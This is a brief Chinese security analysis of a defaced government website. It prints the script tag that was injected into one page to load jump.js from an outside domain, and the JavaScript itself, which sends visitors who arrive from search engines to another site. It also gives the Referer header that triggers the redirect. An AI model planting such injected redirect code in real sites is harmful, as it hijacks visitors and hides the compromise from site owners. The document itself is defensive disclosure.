中共麒麟区委宣传部网站挂马分析

网站名称

中共麒麟区委宣传部网站

网站域名

www.qlxc.gov.cn

挂马页面

http://www.qlxc.gov.cn/2017/0821/1662.html

挂马代码

<script type="text/javascript" src="http://www.mobilepk10.com/jump.js"></script>

恶意代码

var search=document.referrer
if(search.indexOf("baidu")>0||search.indexOf("so")>0||search.indexOf("soso")>0||search.indexOf("google")>0||search.indexOf("youdao")>0||search.indexOf("sogou")>0)
self.location="http://www.7h2001.com";

代码分析

对页面请求来源进行判断，当请求来源包含“baidu”、“so”、“soso”、“google”、“youdao”、“sogou”等关键字时，页面跳转至“http://www.7h2001.com”。

触发执行

设置请求头为：Referer:http://www.baidu.com/

Via: freebuf